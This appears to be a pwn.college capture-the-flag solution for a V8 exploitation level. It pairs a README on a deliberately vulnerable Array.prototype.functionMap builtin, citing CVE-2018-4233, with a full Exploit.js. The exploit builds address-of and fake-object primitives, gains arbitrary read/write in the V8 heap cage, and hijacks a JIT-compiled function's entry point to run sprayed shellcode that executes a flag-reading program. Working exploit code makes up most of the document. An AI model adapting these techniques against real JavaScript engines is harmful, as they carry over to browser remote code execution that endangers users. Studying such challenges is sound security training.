Level 6 of PwnCollegeV8Exploitation

JavaScript/PwnCollegeV8Exploitation/Level6/Exploit.js

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+// Integrated Builtin:
+// - Array.prototype.functionMap(func)
+
+let ab = new ArrayBuffer(8);
+let f64a = new Float64Array(ab, 0, 1);
+let i32a = new Uint32Array(ab, 0, 2);
+let si32a = new Int32Array(ab, 0, 2);
+let bi64a = new BigUint64Array(ab, 0, 1);
+
+function c2f(low, high) { // combined (two 4 bytes) word to float
+    i32a[0] = low;
+    i32a[1] = high;
+    return f64a[0];
+}
+
+function b2f(v) { // bigint to float
+    bi64a[0] = v;
+    return f64a[0];
+}
+
+function f2b(v) { // float to bigint
+    f64a[0] = v;
+    return bi64a[0];
+}
+
+function unptr(v) {
+    return v & 0xfffffffe;
+}
+
+function ptr(v) {
+    return v | 1;
+}
+
+function shellcode() { // Promote to ensure not GC during training
+    // JIT spray machine code form of `execve("catflag", NULL, NULL)`
+    return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
+}
+for (let i = 0; i < 1000; i++) shellcode(); // Trigger MAGLEV compilation
+
+const HeapNumber_map = 0x0000_0809;
+
+function GetAddressOf(obj) {
+    let arr = [9.88850038820051489803925001713E-311, 9.88850038820051489803925001713E-311, 9.88850038820051489803925001713E-311];
+    let i = 0;
+    let addr = undefined;
+    try {
+        arr.functionMap((value) => {
+            switch (i) {
+                case 0: {
+                    arr[2] = obj;
+                    i++;
+                    return value;
+                }
+                case 1: {
+                    f64a[0] = value;
+                    addr = i32a[0];
+                    return {};
+                }
+            }
+        });
+    } catch (e) {}
+    return unptr(addr);
+}
+
+function GetFakeObject(addr) {
+    let arr = [c2f(ptr(addr), HeapNumber_map)];
+    arr.functionMap((value) => {
+        arr[0] = {};
+        return value;
+    });
+    return arr[0];
+}
+
+// Create a PACKED_DOUBLE_ELEMENTS array contains faked PACKED_DOUBLE_ELEMENTS array
+// map, properties, elements, length --- first three field are static roots
+var arr = [c2f(0x001cb821, 0x00000725), c2f(0x00000725, 0x00008000)];
+// %DebugPrint(arr);
+// %SystemBreak();
+var arr_addr = GetAddressOf(arr);
+console.log("Address of arr: " + arr_addr.toString(16));
+var fakearr = GetFakeObject(arr_addr + 0x54); // Heap Fengshui
+// %DebugPrint(fakearr);
+// %SystemBreak();
+
+// QWORD Aligned
+function ArbRead64(cage_addr) { // int32
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
+    let result = f2b(fakearr[0]);
+    console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// QWORD Aligned
+function ArbWrite64(cage_addr, value) { // int32, bigint
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
+    let written = b2f(value);
+    fakearr[0] = written;
+    console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+// DWORD Aligned
+function ArbRead32(cage_addr) { // int32 -> int32
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
+    let result = i32a[(cage_addr & 0x4) >> 2];
+    console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// DWORD Aligned
+function ArbWrite32(cage_addr, value) { // int32, int32 -> void
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
+    bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
+    i32a[(cage_addr & 0x4) >> 2] = value;
+    ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
+    console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+let shellcode_addr = GetAddressOf(shellcode);
+console.log("Address of shellcode: " + shellcode_addr.toString(16));
+// %DebugPrint(shellcode);
+// %SystemBreak();
+let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
+console.log("Address of code: " + code_addr.toString(16));
+let instruction_start_addr = code_addr + 0x14;
+let instruction_start = ArbRead32(instruction_start_addr);
+console.log("instruction_start: " + instruction_start.toString(16));
+ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
+shellcode();

JavaScript/PwnCollegeV8Exploitation/Level6/README.md

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+# Level 6
+
+## Problem
+
+Given a vulnerable builtin `Array.prototype.functionMap(func)`:
+- It takes a `PACKED_DOUBLE_ELEMENTS` JSArray receiver and a JSFunction argument.
+- **reinterpret_cast** `elements` to a `FixedDoubleArray`, then for each element `e`:
+    - Trigger a custom JavaScript callback `func`, with
+        - Input: this double element `e`
+        - Output: any double element `o`
+    - And store `o` to `e`'s original position.
+
+## Key Knowledge
+
+- Side Effect based Array Element Type Confusion
+    - CVE-2018-4233
+        - [saelo/cve-2018-4233: Exploit for CVE-2018-4233, a WebKit JIT optimization bug used during Pwn2Own 2018](https://github.com/saelo/cve-2018-4233)
+        - [Attacking Client-Side JIT Compilers (v2)](https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf#page=106)
+        - [Pwn2Own 2018 CVE-2018-4233 分析](https://www.anquanke.com/post/id/244472)
+    - Use this technique to construct Address Of & Fake Object primitive.